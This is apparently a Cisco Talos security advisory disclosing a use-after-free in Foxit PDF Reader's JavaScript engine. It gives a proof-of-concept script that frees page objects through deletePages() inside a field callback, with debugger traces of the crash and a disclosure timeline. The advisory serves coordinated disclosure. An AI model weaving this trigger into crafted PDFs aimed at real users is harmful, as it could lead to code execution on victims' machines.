TALOS-2026-2420
CVE-2026-57256
A code execution vulnerability exists in the Javascript checkbox CBF_Widget functionality of Foxit Reader (version(s): 2026.1.1.36485). A specially crafted malformed file can lead to remote code execution. An attacker can provide a malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader (version(s): 2026.1.1.36485)
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
JavaScript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles an array object. This can be illustrated by the following proof-of-concept code:
function main() {
app.activeDocs[0].getField('List Box0').setItems([true]);
app.activeDocs[0].resetForm();
getField("List Box0").setAction("Format",'delete_pages();');
app.activeDocs[0].getField('List Box0').setItems([true]);
}
function delete_pages() {
app.activeDocs[0].deletePages();
}
The above code simply assigns a callback function to Format event for the field List Box0, which is promptly triggered by call to getField . In the action callback, all that happens is a call to delete_pages, which in turn ends up freeing all the objects associated with a page. The use-after-free vulnerability occurs when an array object is freed by delete_pages() and is used without any validation. We can observe the following in the debugger (with PageHeap enabled):
FoxitPDFReader!safe_vsnprintf+0x345a87:
00007ff6`952e6677 b948000000 mov ecx,48h ;<---------------- (1)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x345a8c:
00007ff6`952e667c e8df982c00 call FoxitPDFReader!safe_vsnprintf+0x60f370 (00007ff6`955aff60) ;<------------- (2)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x345a91:
00007ff6`952e6681 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:0000006a`14d98868=00000232057f2fb0
0:000> r
rax=0000023200086fb0 rbx=0000023215fc9fd0 rcx=000000007ffe0380
rdx=d0d0d0d0d0d0d0d0 rsi=0000000000400000 rdi=00000232057f2fb0
rip=00007ff6952e6681 rsp=0000006a14d98690 rbp=0000006a14d98790
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000023200086fb0 r12=00000232057f2fb0 r13=0000000000000000
r14=00007ff69a9c7cb4 r15=0000023215fc9eb0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
FoxitPDFReader!safe_vsnprintf+0x345a91:
00007ff6`952e6681 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:0000006a`14d98868=00000232057f2fb0
0:000> dd 0000023200086fb0 ;<---------------------------- (3)
00000232`00086fb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000232`00086fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000232`00086fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000232`00086fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000232`00086ff0 c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
00000232`00087000 ???????? ???????? ???????? ????????
00000232`00087010 ???????? ???????? ???????? ????????
00000232`00087020 ???????? ???????? ???????? ????????
The vulnerable object is created by calling a function at (2), and the size of the object is passed to the function at (1). After allocation, the vulnerable object is examined at (3).
0:000> g
JS calls
FoxitPDFReader!FXJSE_GetClass+0x3d6:
00007ff6`96cd0186 41ffd1 call r9 {FoxitPDFReader!safe_vsnprintf+0x1841460 (00007ff6`967e2050)}
0:000> g
JS calls
FoxitPDFReader!FXJSE_GetClass+0x3d6:
00007ff6`96cd0186 41ffd1 call r9 {FoxitPDFReader!safe_vsnprintf+0x1898300 (00007ff6`96838ef0)} ;<----------- (4)
0:000> t
FoxitPDFReader!safe_vsnprintf+0x1898300:
00007ff6`96838ef0 48895c2408 mov qword ptr [rsp+8],rbx ss:0000006a`14d9ceb0=000002321f106ff0
0:000> p
FoxitPDFReader!safe_vsnprintf+0x1898305:
00007ff6`96838ef5 4889742410 mov qword ptr [rsp+10h],rsi ss:0000006a`14d9ceb8=000002321f108ff0
0:000> p
FoxitPDFReader!safe_vsnprintf+0x189830a:
00007ff6`96838efa 48897c2418 mov qword ptr [rsp+18h],rdi ss:0000006a`14d9cec0=00007ff69b7431d0
0:000> p
FoxitPDFReader!safe_vsnprintf+0x189830f:
00007ff6`96838eff 55 push rbp
0:000> g
ModLoad: 00007ff9`d54a0000 00007ff9`d5869000 C:\Program Files\Foxit Software\Foxit PDF Reader\plugins\PDFAccessibility.fpi
Calls free
FoxitPDFReader!safe_vsnprintf+0x348651:
00007ff6`952e9241 488bcf mov rcx,rdi
0:000> r
rax=0000000000000001 rbx=0000023215fc9fd0 rcx=000002323c520000
rdx=000002323c520000 rsi=000002325e690fc0 rdi=0000023200086fb0
rip=00007ff6952e9241 rsp=0000006a14d9c720 rbp=000000000000000b
r8=0000000000000000 r9=0000000000000001 r10=00000000ffffffef
r11=0000006a14d9c650 r12=0000006a14d9c7f8 r13=0000023215fc9eb0
r14=0000000000000000 r15=00000232057f2fb0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
FoxitPDFReader!safe_vsnprintf+0x348651:
00007ff6`952e9241 488bcf mov rcx,rdi
0:000> dd 0000023200086fb0 ;<----------------------------- (5)
00000232`00086fb0 00000007 00000000 15fc9eb0 00000232
00000232`00086fc0 057f2fb0 00000232 00000000 00000000
00000232`00086fd0 032bcff0 00000232 00000000 00000001
00000232`00086fe0 00000000 00000008 00000000 c0c0c0c0
00000232`00086ff0 00000000 00000000 d0d0d0d0 d0d0d0d0
00000232`00087000 ???????? ???????? ???????? ????????
00000232`00087010 ???????? ???????? ???????? ????????
00000232`00087020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348654:
00007ff6`952e9244 e8f76d2c00 call FoxitPDFReader!safe_vsnprintf+0x60f450 (00007ff6`955b0040) ;<----------------------------- (6)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348659:
00007ff6`952e9249 49c7042400000000 mov qword ptr [r12],0 ds:0000006a`14d9c7f8=0000023200086fb0
0:000> dd 0000023200086fb0 ;<----------------------------- (7)
00000232`00086fb0 ???????? ???????? ???????? ????????
00000232`00086fc0 ???????? ???????? ???????? ????????
00000232`00086fd0 ???????? ???????? ???????? ????????
00000232`00086fe0 ???????? ???????? ???????? ????????
00000232`00086ff0 ???????? ???????? ???????? ????????
00000232`00087000 ???????? ???????? ???????? ????????
00000232`00087010 ???????? ???????? ???????? ????????
00000232`00087020 ???????? ???????? ???????? ????????
Later, when the JavaScript API deletePages() is called, it frees all the objects associated with the page. Internally, deletePages() invokes the method at (4), which in turn calls the HeapFree function at (6) to free the vulnerable object. The vulnerable buffer is examined at (5), and (7) shows the buffer content before and after the free calls, respectively.
0:000> g
(2950.c08): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FoxitPDFReader!safe_vsnprintf+0x35abb4:
00007ff6`952fb7a4 488b4910 mov rcx,qword ptr [rcx+10h] ds:00000232`00086fc0=???????????????? <------- (8)
0:000> dd rcx
00000232`00086fb0 ???????? ???????? ???????? ????????
00000232`00086fc0 ???????? ???????? ???????? ????????
00000232`00086fd0 ???????? ???????? ???????? ????????
00000232`00086fe0 ???????? ???????? ???????? ????????
00000232`00086ff0 ???????? ???????? ???????? ????????
00000232`00087000 ???????? ???????? ???????? ????????
00000232`00087010 ???????? ???????? ???????? ????????
00000232`00087020 ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0x35abb4:
00007ff6`952fb7a4 488b4910 mov rcx,qword ptr [rcx+10h]
00007ff6`952fb7a8 488bd7 mov rdx,rdi
00007ff6`952fb7ab 4533c0 xor r8d,r8d
00007ff6`952fb7ae e84dadffff call FoxitPDFReader!safe_vsnprintf+0x355910 (00007ff6`952f6500)
00007ff6`952fb7b3 4885c0 test rax,rax
00007ff6`952fb7b6 7405 je FoxitPDFReader!safe_vsnprintf+0x35abcd (00007ff6`952fb7bd)
00007ff6`952fb7b8 803805 cmp byte ptr [rax],5
00007ff6`952fb7bb 7464 je FoxitPDFReader!safe_vsnprintf+0x35ac31 (00007ff6`952fb821)
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ff6`952fd6a5 : 00000232`7e0c6ff0 00000000`00000068 a8e83f57`17c0a8e9 00000000`00000068 : FoxitPDFReader!safe_vsnprintf+0x35abb4
01 00007ff6`96810c8b : 00000232`7e0c6ff0 00000232`00000000 00000232`00000000 00000232`6355aff0 : FoxitPDFReader!safe_vsnprintf+0x35cab5
02 00007ff6`967e21d3 : 00000232`63af6e40 00000000`00000000 00000000`00000000 0000006a`14d9dc40 : FoxitPDFReader!safe_vsnprintf+0x187009b
03 00007ff6`96cd0189 : 00000232`63e87ff0 0000006a`14d9dd40 00000232`7e758ff0 00000232`77008fe0 : FoxitPDFReader!safe_vsnprintf+0x18415e3
04 00007ff6`97255446 : 00000232`385f50d0 0000006a`14d9dcb0 0000023b`001b862d 0000006a`14d9dda8 : FoxitPDFReader!FXJSE_GetClass+0x3d9
05 00007ff6`97253701 : 0000023b`000994b1 00000232`1c3bb000 0000023b`001801a1 0000023b`00000069 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x306636
06 00007ff6`97253701 : 0000023b`001d160d 0000023b`001eb51d 0000023b`001eb56d 0000023b`00000069 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x3048f1
07 00007ff6`97250e30 : 0000023b`001d160d 0000023b`00000775 0000023b`001eb51d 00000000`0000001a : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x3048f1
08 00007ff6`97250987 : 00000000`00000000 00000000`00000000 00000000`00000002 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x302020
09 00007ff6`96d267df : 0000006a`14d9e16c 0000006a`14d9e059 0000006a`14d9e1d8 00000000`00000005 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x301b77
0a 00007ff6`96d26284 : 0000006a`14d9e1d8 00000232`1c3bb000 0000023b`001e0005 00000232`1c3c4110 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x55d0f
0b 00007ff6`96d05e3b : 00000232`1c3bb2b0 0000006a`14d9e280 00000232`0aaeca50 00000232`385f5020 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x557b4
0c 00007ff6`96d05ba1 : 00000232`385f5050 00000232`385f5018 00000232`1c3bb000 00000232`1eae4fc0 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3536b
0d 00007ff6`96ccdb66 : 00000232`09728ff0 00000232`385f5050 00000232`385f5018 00000232`09728ff0 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x350d1
0e 00007ff6`96cceaab : 00000232`385f5050 00000232`09728ff0 00000232`385eeea0 00000232`385f5020 : FoxitPDFReader!FXJSE_Runtime_Release+0x1106
0f 00007ff6`967763cd : 00000000`00000000 00000232`0523cfb8 00000232`0523cfb8 00000232`0523cfb0 : FoxitPDFReader!FXJSE_ExecuteScript+0x27b
10 00007ff6`941fc073 : 00000232`00000003 00000232`15dcab90 0000006a`14d9e680 0000006a`14d9e5a0 : FoxitPDFReader!safe_vsnprintf+0x17d57dd
11 00007ff6`941fa743 : 00000232`035beff0 0000006a`14d9e630 00000000`00000000 00000232`15dd8fb0 : FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x3ab443
12 00007ff6`941f8af6 : 00007ff6`941f8a20 00000232`035beff0 00000232`0982fd40 00000000`00000000 : FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x3a9b13
13 00007ff6`9384a4f9 : 00007ff6`941f8a20 0000006a`14d9e770 00000232`0408edc8 00000232`68630fd0 : FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x3a7ec6
14 00007ff6`93ade19e : 00000000`00000000 00000000`0005034e 00000232`15dd8fb0 0000006a`14d9e7b0 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7919
15 00007ff6`98834132 : 00000000`000001c9 00000000`00000001 00007ff6`93ade120 00000000`00000000 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x70e8e
16 00007ff6`9883563f : 00000232`0419ecb0 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x18e5322
17 00007ff6`9882e564 : 00000000`00000000 00000232`412eeeb8 00000000`00000000 00000000`00000429 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x18e682f
18 00007ff6`9882f024 : 00007ff6`9b794078 00000000`0005034e 00000232`412eee78 00007ff6`98824bc8 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x18df754
19 00007ff9`ee2def5c : 00000000`00000001 00000232`412eee20 00000000`0005034e 00000000`0005034e : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x18e0214
1a 00007ff9`ee2de684 : 00000000`00000000 00007ff6`9882efd0 0000006a`14e5b800 00007ff6`98826874 : USER32!UserCallWinProcCheckWow+0x50c
1b 00007ff6`93a5b13a : 00007ff6`9882efd0 00000232`67e045d0 00000000`00000001 00007ff6`9b9cfaa0 : USER32!DispatchMessageWorker+0x494
1c 00007ff6`93a5b234 : 00000000`00000001 00007ff6`9b9cfaa0 00000000`00000000 00000000`00000000 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x15fd5a
1d 00007ff6`98e1d987 : 00000000`00000001 00007ff6`93620000 00000000`00000000 00000232`3c59ef1c : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x15fe54
1e 00007ff6`98a94322 : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x1eceb77
1f 00007ff9`ef597374 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x1b45512
20 00007ff9`f007cc91 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
21 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
0:000> lmDvm FoxitPDFReader
Browse full module list
start end module name
00007ff6`93620000 00007ff6`9d6e5000 FoxitPDFReader (export symbols) C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Loaded symbol image file: C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Image path: C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Image name: FoxitPDFReader.exe
Browse all global symbols functions data Symbol Reload
Timestamp: Fri Apr 10 10:57:26 2026 (69D93A06)
CheckSum: 09FCA8FF
ImageSize: 0A0C5000
Mapping Form: Loaded
File version: 2026.1.1.36485
Product version: 2026.1.1.36485
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0000.04b0
Information from resource tables:
CompanyName: Foxit Software Inc.
ProductName: Foxit PDF Reader
InternalName: Foxit Reader.exe
OriginalFilename: FoxitPDFReader.EXE
ProductVersion: 2026.1.1.36485
FileVersion: 2026.1.1.36485
PrivateBuild:
SpecialBuild:
FileDescription: Foxit PDF Reader
LegalCopyright: Copyright © 2004-2026 Foxit Software Inc. All Rights Reserved.
LegalTrademarks:
Comments:
The crash occurs at (8) when the object is dereferenced without any validation. Depending on the memory layout of the process, it may be possible to perform arbitrary read and write operations, which could ultimately be exploited to achieve arbitrary code execution.
Vendor Notes: We are delighted to announce the launch of Foxit PDF Reader/Editor v2026.1.2 and Foxit PDF Editor v14.0.5/13.2.5.
The products are available immediately. You are encouraged to download your copy of Foxit PDF Reader/Editor from our website: - Reader: https://www.foxit.com/pdf-reader/ - Editor: https://www.foxit.com/pdf-editor/ - Security Bulletins: https://www.foxit.com/support/security-bulletins.html
2026-05-11 - Vendor Disclosure
2026-07-08 - Vendor Patch Release
2026-07-08 - Public Release
KPC of Cisco Talos